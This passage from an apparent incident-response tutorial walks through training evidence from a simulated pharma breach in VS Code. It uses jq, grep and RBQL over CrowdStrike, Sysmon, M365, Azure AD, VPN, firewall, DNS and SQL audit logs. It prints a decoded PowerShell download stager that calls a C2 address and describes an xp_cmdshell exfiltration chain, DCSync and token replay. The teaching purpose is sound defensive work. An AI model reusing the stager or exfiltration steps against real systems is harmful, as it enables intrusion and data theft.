away.</p><p><strong>Install four extensions before starting</strong> (Ctrl+Shift+X, search by ID):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LyER2G4y2xTAF1kXY4MX6A.png"></figure><p>Or install all at once from the integrated terminal (Ctrl+`` ):</p><pre>code --install-extension mechatroner.rainbow-csv<br>code --install-extension humao.rest-client<br>code --install-extension ms-vscode.hexeditor<br>code --install-extension esbenp.prettier-vscode</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*Pp_6YW13coi4GWZcb2a8Wg.png"></figure><p><strong>Key VS Code shortcuts used throughout this step:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2i3dAl46V_xX0cqntP0rCw.png"></figure><p><strong>Download the training evidence:</strong></p><pre>git clone https://github.com/anpa1200/CTI_as_a_Code.git<br>code ~/CTI_as_a_Code/investigations/lifetech-2024-11/01-evidence/</pre><p>Direct links to open any file in GitHub (also downloadable via curl -L):</p><ul><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/m365/message-trace-p.levi.csv">m365/message-trace-p.levi.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> IT admin phishing delivery, Oct 15–24</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/m365/message-trace-m.cohen.csv">m365/message-trace-m.cohen.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> CFO phishing delivery, Nov 13–15</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/azure-ad/signin-p.levi.json">azure-ad/signin-p.levi.json</a><br><strong>Format:</strong> JSON<br><strong>Contains:</strong> IT admin Azure AD sign-ins — Istanbul token replay</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/vpn/anyconnect-2024-10-24.log">vpn/anyconnect-2024-10-24.log</a><br><strong>Format:</strong> ASA syslog<br><strong>Contains:</strong> VPN session from Istanbul, Oct 24</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/sysmon/WS-CFO-01-sysmon.jsonl">sysmon/WS-CFO-01-sysmon.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> CFO workstation — PowerShell, LSASS, persistence, BITS</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/crowdstrike/WS-CFO-01-alert-20241115.json">crowdstrike/WS-CFO-01-alert-20241115.json</a><br><strong>Format:</strong> JSON<br><strong>Contains:</strong> CrowdStrike Falcon alert — triggering detection</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/windows-security/DC01-security.jsonl">windows-security/DC01-security.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> DC01 security events — DCSync EID 4662</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/windows-security/SERVER-RD-02-security.jsonl">windows-security/SERVER-RD-02-security.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> R&amp;D server — EID 4663 file access, EID 5156 exfil</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/palo-alto/ngfw-flows.csv">palo-alto/ngfw-flows.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> Perimeter firewall flows — 381 MB exfil confirmed</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/palo-alto/dns-queries.csv">palo-alto/dns-queries.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> DNS telemetry — C2 beacon pattern</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/sql-audit/SERVER-RD-02-sql-audit.jsonl">sql-audit/SERVER-RD-02-sql-audit.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> SQL Server audit — full xp_cmdshell exfil chain</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/GAP-001-ws-it-levi-sysmon.md">GAP-001-ws-it-levi-sysmon.md</a><br><strong>Format:</strong> Markdown<br><strong>Contains:</strong> Documented 10-day Sysmon gap on IT admin host</li></ul><h4>1. CrowdStrike Alert — JSON in VS Code</h4><p><strong>In VS Code Explorer:</strong> click crowdstrike/WS-CFO-01-alert-20241115.json</p><p>Press Shift+Alt+F to auto-format. The nested structure becomes readable with collapsible sections.</p><p><strong>Open the Outline panel</strong> (Ctrl+Shift+O):</p><pre>▶ meta<br>▼ resources<br>  ▼ [0]<br>    ▶ device        — hostname, OS, groups<br>    ▼ behaviors<br>      [0] Execution / T1059.001  — OUTLOOK.EXE → powershell.exe<br>      [1] Command and Control / T1071.001<br>      [2] Persistence / T1547.001<br>      [3] Credential Access / T1003.001<br>    ▶ network_accesses<br>    ▶ prevention_policy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHUHyPz18JBNmPFRWS5VHA.png"></figure><p>Click any node to jump directly to that section. Click prevention_policy — you see "prevent": false immediately. The CFO's machine is in detect-only mode; the C2 connection is live. <strong>Take the memory dump before anything else.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bsA6unjBprE5asg-jKFbug.png"></figure><p><strong>Search</strong> (Ctrl+F): type prevented → jumps to "prevent": false. Type cmdline → jumps to the encoded PowerShell command.</p><p><strong>Or use jq tool:</strong></p><p><strong>Extract key fields in the integrated terminal</strong> (Ctrl+`` ):</p><pre>jq '.resources[0] | {<br>  detection_id,<br>  severity:  .max_severity_displayname,<br>  host:      .device.hostname,<br>  prevented: .prevention_policy.prevent,<br>  timestamp: .created_timestamp<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><p>Output:</p><pre>{<br>  "detection_id": "ldt:8f2a4b91e33a471cae44b2fdb8812201:884921003",<br>  "severity":     "Critical",<br>  "host":         "WS-CFO-01",<br>  "prevented":    false,<br>  "timestamp":    "2024-11-15T16:42:47.882Z"<br>}</pre><pre># List all detected behaviors<br>jq '.resources[0].behaviors[] | {<br>  timestamp, tactic, technique_id, display_name,<br>  parent: .parent_image_filename,<br>  image:  .filename,<br>  cmdline: (.cmdline // "" | .[0:80])<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><pre># Network connections observed<br>jq '.resources[0].network_accesses[] | {<br>  remote_address, remote_port, direction, timestamp<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><pre># Prevention policy — confirm detect-only mode and note the policy gap<br>jq '.resources[0].prevention_policy | {name, prevent, detect, note}' \<br>  crowdstrike/WS-CFO-01-alert-20241115.json</pre><p><strong>Found IOCs</strong></p><ul><li><strong>Host</strong> WS-CFO-01 — Victim workstation; CrowdStrike detect-only, C2 active</li><li><strong>Hash (SHA256)</strong> de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1848474f57 — powershell.exe behavior hash from alert</li><li><strong>Hash (MD5)</strong> 7353f60b1739074eb17c5f4dddefe239 — Same behavior; use both for VT lookup</li><li><strong>Process</strong> OUTLOOK.EXE → powershell.exe — Parent–child execution chain in behaviors[0]</li><li><strong>Cmdline</strong> -NonI -W Hidden -Enc JABjAD0A… — Encoded PowerShell payload; decode in Step 2</li><li><strong>IP</strong> 203.0.113.87 — C2 server; 3 connections in network_accesses, port 443</li></ul><h4>2. Decode the PowerShell Payload</h4><p>In the formatted JSON still open in VS Code, press Ctrl+F and search -Enc — the base64 argument is on the same line. Copy it.</p><p><strong>Decode in the integrated terminal</strong> — do not paste encoded malware into online decoders:</p><pre># PowerShell -Enc uses UTF-16LE encoding<br>echo "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABkAD0AJABjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA4ADcALwB1AHAAZABhAHQAZQAnACkA" \<br>  | base64 -d</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtvadCAbVwcFaB8UcvEPCQ.png"></figure><pre>$c=New-Object System.Net.WebClient;$c.Headers.Add('User-Agent','Mozilla/5.0');$d=$c.DownloadString('https://203.0.113.87/update')</pre><p><strong>In VS Code Explorer:</strong> click sysmon/WS-CFO-01-sysmon.jsonl. Press Ctrl+F, search "EventID": 11 — jumps to the file creation event showing svchost32.exe dropped to AppData\Roaming. The analyst_note field confirms the fake PE timestamp.</p><pre># Cross-check: confirm what the PowerShell dropped<br>jq 'select(.EventID == 11) | {<br>  time: .TimeCreated, dropped_by: .Image, file: .TargetFilename, note: .analyst_note<br>}' sysmon/WS-CFO-01-sysmon.jsonl</pre><p><strong>Or use Base64 extention:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NX8NZYV10DhI03Lgy9E07A.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRToibL_ojf36voYhSco2A.png"></figure><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — Primary C2 server; payload download source</li><li><strong>URL</strong> https://203.0.113.87/update — C2 payload URL decoded from base64 PowerShell</li><li><strong>File</strong> svchost32.exe — Dropper deposited to %AppData%\Roaming\; forged PE timestamp</li></ul><h4>3. M365 Message Trace — Rainbow CSV</h4><p><strong>In VS Code Explorer:</strong> click m365/message-trace-p.levi.csv</p><p>With Rainbow CSV installed, every column gets its own color. The status bar at the bottom shows the column name as you move the cursor.</p><p><strong>RBQL — SQL queries against the CSV, no Python needed:</strong></p><p>Press F5 (or click RBQL in the status bar) to open the query console:</p><pre>-- Find all emails where authentication failed<br>SELECT a.* WHERE a16 == "fail" ORDER By a1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IF23O_x92zR5XPNGe7gP2A.png"></figure><p>Result pane (right side):</p><pre>2024-10-22T11:23:07Z | security-noreply@mfa-lifetechpharma.com<br>  | ACTION REQUIRED: MFA Re-enrollment — LifeTech IT Security<br>  | Delivered | 4 | fail | fail | fail</pre><p>Three auth failures in one row. SCL=4 delivered because the threshold is 5. Add mfa-lifetechpharma.com to IOC list.</p><pre>SELECT a.* WHERE a17 == '1' &amp;&amp; a16 == 'fail'</pre><p><strong>Save RBQL results:</strong> click <strong>Save to CSV</strong> in the result panel → save as 03-analysis/m365-suspects.csv.</p><p><strong>Switch to </strong><strong>m365/message-trace-m.cohen.csv</strong> (click in Explorer):</p><pre>-- CFO mailbox — find the malicious delivery<br>SELECT a.received_time, a.sender_address, a.subject, a.SCL, a.DMARC, a.has_attachment<br>FROM a<br>WHERE a.DMARC == 'fail' OR a.has_attachment == '1'<br>ORDER BY a.received_time</pre><p>Key finding — CFO phishing email:</p><pre>2024-11-15T15:58:08Z | contracts@globalcontracts-secure.net<br>  | Q4-2024 Licensing Agreement Review — Action Required (URGENT)<br>  | SCL=4 | DMARC=fail | has_attachment=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p6mJFnpdRJE2EvoF-IxUFw.png"></figure><p>The .xlsm attachment was not sandboxed — ATP policy gap (INT-007). Add globalcontracts-secure.net to IOC list.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing sender domain; DMARC/DKIM/SPF all fail</li><li><strong>Email</strong> security-noreply@mfa-lifetechpharma.com — IT admin phishing sender (Oct 22)</li><li><strong>Domain</strong> globalcontracts-secure.net — CFO phishing delivery domain</li><li><strong>Email</strong> contracts@globalcontracts-secure.net — CFO phishing sender (Nov 15)</li><li><strong>Attachment</strong> .xlsm — Macro-enabled Excel; bypassed ATP sandbox (INT-007)</li></ul><h4>4. Azure AD Sign-In Analysis</h4><p><strong>In VS Code Explorer:</strong> click azure-ad/signin-p.levi.json</p><p>Press Shift+Alt+F to format. Open the Outline (Ctrl+Shift+O) — the array shows four sign-in entries. Click entry [1] to jump to aad-signin-002.</p><p><strong>Search</strong> Ctrl+F: type Istanbul — jumps directly to the suspicious sign-in. Read surrounding context without running any command:</p><pre>"city": "Istanbul",<br>"countryOrRegion": "TR",<br>"conditionalAccessStatus": "notApplied",<br>"succeeded": null</pre><p>Three red flags visible immediately in the file: foreign city, CA bypassed, no MFA.</p><p><strong>Full structured extraction in the terminal:</strong></p><pre>jq '.[] | {<br>  id,<br>  time: .properties.createdDateTime,<br>  ip:   .properties.ipAddress,<br>  loc:  "\(.properties.location.city), \(.properties.location.countryOrRegion)",<br>  mfa:  .properties.authenticationDetails[0].succeeded,<br>  ca:   .properties.conditionalAccessStatus,<br>  os:   .properties.deviceDetail.operatingSystem<br>}' azure-ad/signin-p.levi.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XkLVEejy4bkZ71px3sihoQ.png"></figure><p><strong>Red flags on </strong><strong>aad-signin-002:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Isdphk9PrvplMM2sWbc8Vg.png"></figure><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 185.220.101.47 — Attacker source IP; Istanbul, Turkey (Tor exit node)</li><li><strong>Account</strong> p.levi — Compromised IT admin; token replay, no MFA challenge</li><li><strong>Indicator</strong> Token replay — CA policy bypassed; conditionalAccessStatus: notApplied</li></ul><h4>5. VPN Log Analysis</h4><p><strong>In VS Code Explorer:</strong> click vpn/anyconnect-2024-10-24.log</p><p>VS Code opens the plain syslog file. Use Ctrl+F to navigate without any commands:</p><ul><li>Search p.levi — highlights every line for this user</li><li>Search Authentication: successful — the auth event</li><li>Search Assigned address — the internal IP assigned to the session</li><li>Search Duration — total session length</li></ul><pre># Full session chain in the terminal:<br>grep "p.levi" vpn/anyconnect-2024-10-24.log \<br>  | grep -E "(716001|716002|734001|Authentication|Teardown|Assigned)"</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BsNecLZvZT8bDwFYWsb-nQ.png"></figure><pre>Oct 24 00:17:14 ... User &lt;p.levi&gt; IP &lt;185.220.101.47&gt; Authentication: successful<br>Oct 24 00:17:33 ... User &lt;p.levi&gt; ... Assigned address: 10.10.3.22<br>Oct 24 02:29:08 ... User &lt;p.levi&gt; ... Duration: 1h12m34s</pre><p>185.220.101.47 (Istanbul VPN exit) authenticated as p.levi and was assigned 10.10.3.22 — WS-IT-LEVI's own internal IP. All activity during this session looks like it came from the legitimate workstation.</p><pre>grep -i "mfa\|no.*challenge\|bypass" vpn/anyconnect-2024-10-24.log<br># → NOTE: No MFA challenge issued — session token authentication bypass<br>grep "203.0.113.87" vpn/anyconnect-2024-10-24.log | awk '{print $1,$2,$3}' | head -8<br># → ~7-minute C2 beacons during the VPN session window</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 185.220.101.47 — Attacker VPN source; Istanbul; authenticated as p.levi</li><li><strong>Account</strong> p.levi — Session token auth; no MFA challenge issued</li><li><strong>IP (internal)</strong> 10.10.3.22 — Assigned to attacker session; masks as WS-IT-LEVI</li><li><strong>IP</strong> 203.0.113.87 — C2 beacons during VPN session (~7-min interval)</li></ul><h4>6. NGFW Log Analysis — Rainbow CSV</h4><p><strong>In VS Code Explorer:</strong> click palo-alto/ngfw-flows.csv</p><p>Rainbow CSV colorizes columns. The status bar shows column names as you move the cursor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yz7EggRReYdjyRyz79n79A.png"></figure><p>RBQLHeader<br>a1receive_time<br>a22dport<br>a5src<br>a28bytes<br>a6dst<br>a29bytes_sent<br>a9rule<br>a30bytes_received<br>a10srcuser<br>a33elapsed<br>a12app<br>a34category<br>a27action<br>a41session_end_reason</p><p><strong>In VS Code Explorer:</strong> click palo-alto/ngfw-flows.csv. Press F5 to open the RBQL console.</p><p><strong>Query 1 — find anomalies: all flows sorted by bytes_sent descending</strong></p><p>Start here every time. The outlier appears immediately.</p><pre>SELECT a1, a5, a6, a22,<br>       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,<br>       Math.round(parseInt(a30) / 1024) + ' KB' AS rcvd_KB,<br>       a33 + 's', a10<br>ORDER BY parseInt(a29) DESC</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pszv_-CeRnD-lNlUmL8VBQ.png"></figure><pre>2024-11-06T00:14:14Z | 10.10.2.15 | 198.51.100.44 | 443 | 381 MB | 409 KB | 312s |<br>2024-11-15T16:42:41Z | 10.10.1.45 | 203.0.113.87  | 443 |  17 MB |  10 KB |  63s | LIFETECHPHARMA\m.cohen<br>2024-11-15T16:49:22Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  61s | LIFETECHPHARMA\m.cohen<br>2024-11-15T16:56:03Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  59s | LIFETECHPHARMA\m.cohen<br>2024-11-06T00:09:44Z | 10.10.3.22 | 203.0.113.87  | 443 |   9 KB |   7 KB |  51s | LIFETECHPHARMA\p.levi<br>...</pre><p>The first row is 17,000× larger than any other flow. Upload ratio 99% (381 MB sent, 409 KB received). Session lasted 312 seconds. This is data exfiltration, not a download.</p><p>Two hosts are beaconing to the same C2 IP: 10.10.3.22 (IT admin, p.levi) and 10.10.1.45 (CFO, m.cohen) — two separate infections.</p><p><strong>Query 2 — exfil upload ratio: flag flows where sent &gt; 90% of total bytes</strong></p><pre>SELECT a1, a5, a6, a22,<br>       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,<br>       Math.round(parseInt(a29) * 100 / (parseInt(a28) + 1)) + '%' AS upload_pct,<br>       a33 + 's'<br>WHERE parseInt(a28) &gt; 100000<br>ORDER BY parseInt(a29) DESC</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkpGfIAnhSx0k-VE5CATzg.png"></figure><p>Result: only one row — 10.10.2.15 → 198.51.100.44, 99% upload, 381 MB. Every other flow is bidirectional C2 (55–65% upload) which is beacon traffic, not exfil.</p><p><strong>Query 3 — beacon pattern: repeated small flows to same external IP</strong></p><pre>SELECT a6, COUNT(a6) AS sessions,<br>       AVG(parseInt(a28)) AS avg_bytes,<br>       AVG(parseInt(a33)) AS avg_elapsed_s<br>WHERE a6 &amp;&amp; !a6.startsWith('10.') &amp;&amp; !a6.startsWith('192.168.')<br>   &amp;&amp; !isNaN(parseInt(a28))<br>GROUP BY a6Result:</pre><pre>203.0.113.87   | 9 sessions | ~14 KB avg | ~47s avg<br>198.51.100.44  | 1 session  | 399 MB avg | 312s avg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*264pKTvyyeuGVoAIwQVvSw.png"></figure><p>203.0.113.87 has 9 short uniform sessions — beacon. 198.51.100.44 has one giant session — exfil.</p><p><strong>Query 4 — internal lateral movement: flows that stay inside RFC-1918</strong></p><pre>SELECT a1, a5, a6, a22, a28, a9, a10<br>WHERE a5 &amp;&amp; a6<br>   &amp;&amp; (a5.startsWith('10.') || a5.startsWith('192.168.'))<br>   &amp;&amp; (a6.startsWith('10.') || a6.startsWith('192.168.'))<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epr64_sA5gqNzWxgEi-LpQ.png"></figure><pre>2024-11-15T19:14:08Z | 10.10.1.45 | 10.10.2.20 | 135   | 8441  | InternalAccess-Allow<br>2024-11-15T19:14:18Z | 10.10.1.45 | 10.10.2.20 | 49152 | 12884 | InternalAccess-Allow</pre><p>CFO workstation (10.10.1.45) connected to an internal host (10.10.2.20) on port 135 (DCE/RPC endpoint mapper) then port 49152 (dynamic RPC). This is the WMI/DCOM lateral movement signature — 3 hours after the CFO was compromised.</p><p><strong>Query 5 — beacon timing: isolate C2 host and sort by time to measure intervals</strong></p><pre>SELECT a1, a5, a6, parseInt(a29) AS bytes_sent, a33 + 's'<br>WHERE a6 == '203.0.113.87'<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8M-EcFKrYAOXIzIOfoNlw.png"></figure><pre>2024-11-01T07:14:02Z | 10.10.3.22 | 8441 bytes | 47s   ← WS-IT-LEVI session 1<br>2024-11-01T07:21:14Z | 10.10.3.22 | 8221 bytes | 45s   ← gap: 432s<br>2024-11-01T07:28:44Z | 10.10.3.22 | 7882 bytes | 44s   ← gap: 450s<br>                     ↓ 4.7-day silence (C2 dormant) ↓<br>2024-11-06T00:09:44Z | 10.10.3.22 | 9441 bytes | 51s   ← WS-IT-LEVI session 2<br>2024-11-06T00:17:01Z | 10.10.3.22 | 8001 bytes | 46s   ← gap: 437s<br>2024-11-06T00:24:33Z | 10.10.3.22 | 8011 bytes | 44s   ← gap: 452s<br>2024-11-15T16:42:41Z | 10.10.1.45 | 18221 bytes| 63s   ← WS-CFO-01 session 1<br>2024-11-15T16:49:22Z | 10.10.1.45 | 14441 bytes| 61s   ← gap: 401s<br>2024-11-15T16:56:03Z | 10.10.1.45 | 15001 bytes| 59s   ← gap: 421s</pre><p>Beacon interval: <strong>432–452 seconds (~7.2 minutes)</strong>. Consistent across both infected hosts — same implant, same configuration. The 4.7-day gap (Nov 1–6) between IT admin beacon clusters is the C2 going quiet while staging lateral movement.</p><p><strong>Click </strong><strong>palo-alto/dns-queries.csv</strong> in Explorer.</p><p><strong>Column map:</strong></p><p>RBQLHeader<br>a1receive_time<br>a2src<br>a4query<br>a6response<br>a8category<br>a10analyst_note</p><p><strong>Query 6 — all malware-category queries, sorted by time</strong></p><pre>SELECT a1, a2, a4, a6, a8<br>FROM a<br>WHERE a8 == 'malware'<br>ORDER BY a1</pre><p>Result — full malware DNS timeline:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RErM3MswME78yNNi0pB92A.png"></figure><pre>2024-10-22T09:28:41Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← AiTM phishing page loaded<br>2024-10-22T09:29:02Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← token stolen<br>2024-11-01T07:14:00Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← C2 beacon 1<br>2024-11-01T07:21:14Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-01T07:28:44Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:09:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:17:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← (missing from log)<br>2024-11-06T00:24:33Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:10:14Z | 10.10.2.15 | sys-update-cdn.net            | 198.51.100.44   | malware ← exfil domain lookup<br>2024-11-15T15:58:08Z | 10.10.1.45 | globalcontracts-secure.net    | 185.220.101.52  | malware ← CFO phishing domain<br>2024-11-15T16:42:33Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← CFO C2 beacon 1<br>2024-11-15T16:49:22Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-15T16:56:03Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware</pre><p><strong>Query 7 — per-host beacon count: how many hosts are infected?</strong></p><pre>SELECT a2, COUNT(a2) AS queries<br>WHERE a4 == 'telemetry-cdn-services.biz'<br>GROUP BY a2</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v94DK5JOd0MBwJUOjqBpAg.png"></figure><pre>10.10.3.22 | 6   ← WS-IT-LEVI (IT admin) — infected Nov 1<br>10.10.1.45 | 3   ← WS-CFO-01 (CFO) — infected Nov 15</pre><p>Two hosts. Two infections. Same C2 domain. The IT admin host was the initial foothold; the CFO host is the second wave, 14 days later.</p><p><strong>Query 8 — new IP: attacker recon before VPN login</strong></p><pre>SELECT a1, a2, a4, a6, a8, a10<br>WHERE a2 &amp;&amp; !a2.startsWith('10.') &amp;&amp; !a2.startsWith('192.168.')<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lj9D7dZos_et_O16rjcfOg.png"></figure><pre>2024-10-24T00:16:44Z | 185.220.101.47 | vpn.lifetechpharma.com | 10.10.8.1 | business-and-economy</pre><p>The attacker IP (185.220.101.47) looked up the VPN hostname 1 minute before the successful VPN login. Confirms active operator, not automated tool.</p><p><strong>Cross-reference with flows</strong> (Ctrl+Shift+F → 198.51.100.44):</p><pre>ngfw-flows.csv   line 11: 10.10.2.15 → 198.51.100.44 | 399 MB | 312s<br>dns-queries.csv  line 14: 10.10.2.15 → sys-update-cdn.net → 198.51.100.44</pre><p>DNS lookup at 00:10:14Z, flow starts at 00:14:14Z — 4-minute gap between resolution and transfer start. Consistent with manual operator staging the upload command.</p><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 198.51.100.44 — Exfil destination; 381 MB upload, 99% upload ratio, 312s, single session</li><li><strong>IP (internal)</strong> 10.10.2.15 — SERVER-RD-02; exfil source host</li><li><strong>IP</strong> 203.0.113.87 — C2 server; 9 beacon sessions from 2 hosts, ~7.2-min interval</li><li><strong>IP</strong> 185.220.101.52 — New; CFO phishing page host (globalcontracts-secure.net)</li><li><strong>IP (internal)</strong> 10.10.2.20 — Lateral movement target; reached from CFO host on ports 135 + 49152 (RPC/WMI)</li><li><strong>Domain</strong> telemetry-cdn-services.biz — C2 domain; queried by both 10.10.3.22 and 10.10.1.45</li><li><strong>Domain</strong> sys-update-cdn.net — Exfil domain; resolves to 198.51.100.44; queried by 10.10.2.15</li><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing domain; resolves to 185.220.101.47</li><li><strong>Indicator</strong> Beacon interval 432–452s (~7.2 min) — identical across both infected hosts; same implant config</li><li><strong>Indicator</strong> Attacker recon: 185.220.101.47 queried vpn.lifetechpharma.com 1 min before VPN login7. SQL Audit Log Analysis</li></ul><h4><strong>7. SQL Audit Log Analysis</strong></h4><p><strong>In VS Code Explorer:</strong> click sql-audit/SERVER-RD-02-sql-audit.jsonl</p><p>Each line is a JSON object. Use Ctrl+F to navigate directly to key events:</p><p>Search termJumps to</p><p>xp_cmdshellShell execution events<br>AuditLogAdversary OPSEC recon <br>(SELECT) and anti-forensics (DELETE)<br>UploadFileThe exfiltration command<br>Compress-ArchiveThe staging command</p><p><strong>Full chain in the terminal:</strong></p><pre>jq -r '[.EventTime, .LoginName, .StatementType, (.Statement[0:90])] | @tsv' \<br>  sql-audit/SERVER-RD-02-sql-audit.jsonl</pre><p>Six events: enumerate → recon (SELECT AuditLog) → stage → exfil → cleanup → anti-forensics (DELETE AuditLog). The DELETE at 00:15:22Z failed because Splunk had already ingested these rows before it ran.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Account</strong> svc_backup — Lateral movement account; executed full xp_cmdshell chain</li><li><strong>URL</strong> 198.51.100.44/recv — Exfil endpoint used by WebClient.UploadFile</li><li><strong>File</strong> USPartner2024-formulas.zip — Staged archive; formula data compressed before exfil</li><li><strong>Indicator</strong> xp_cmdshell (T1059.003) — SQL Server shell used as execution proxy</li><li><strong>Indicator</strong> Anti-forensics — DELETE on SQL AuditLog at 00:15:22Z; blocked by prior Splunk ingestion</li></ul><h4>8. Windows Security Event Log Analysis</h4><p><strong>In VS Code Explorer:</strong> click windows-security/DC01-security.jsonl</p><p>Press Ctrl+F, search 4662 — jumps to the DCSync event. The analyst_note gives the human-readable summary in the file itself:</p><pre>🔴 CRITICAL: DCSync — DS-Replication-Get-Changes + DS-Replication-Get-Changes-All<br>from WORKSTATION IP 10.10.3.22 (WS-IT-LEVI). NOT a DC. NOT in pentest VLAN (10.10.99.x).</pre><pre># All three DCSync events — domain, krbtgt, Administrator<br>jq 'select(.EventID == 4662) | {<br>  time: .TimeCreated, subject: .SubjectUserName, object: .ObjectName<br>}' windows-security/DC01-security.jsonl</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*xlE6AoS-kD4FYW5DmwGVxw.png"></figure><pre>{"time": "2024-11-06T00:48:33Z", "subject": "svc_backup", "object": "DC=lifetechpharma,DC=local"}<br>{"time": "2024-11-06T00:48:44Z", "subject": "svc_backup", "object": "CN=krbtgt,CN=Users,DC=..."}<br>{"time": "2024-11-06T00:48:51Z", "subject": "svc_backup", "object": "CN=Administrator,CN=..."}</pre><p>krbtgt and Administrator DCSync'd — golden ticket capability obtained. Full domain credential rotation required.</p><p><strong>Click </strong><strong>windows-security/SERVER-RD-02-security.jsonl:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5ZHpES2uPK3SDDVU4yoMg.png"></figure><p>Ctrl+F → 4663 — file access events. Ctrl+F → 5156 — network connection event.</p><pre>jq 'select(.EventID == 4663) | .ObjectName' \<br>  windows-security/SERVER-RD-02-security.jsonl | jq -s 'length'<br># → 47  (47 formula files accessed)<br>jq 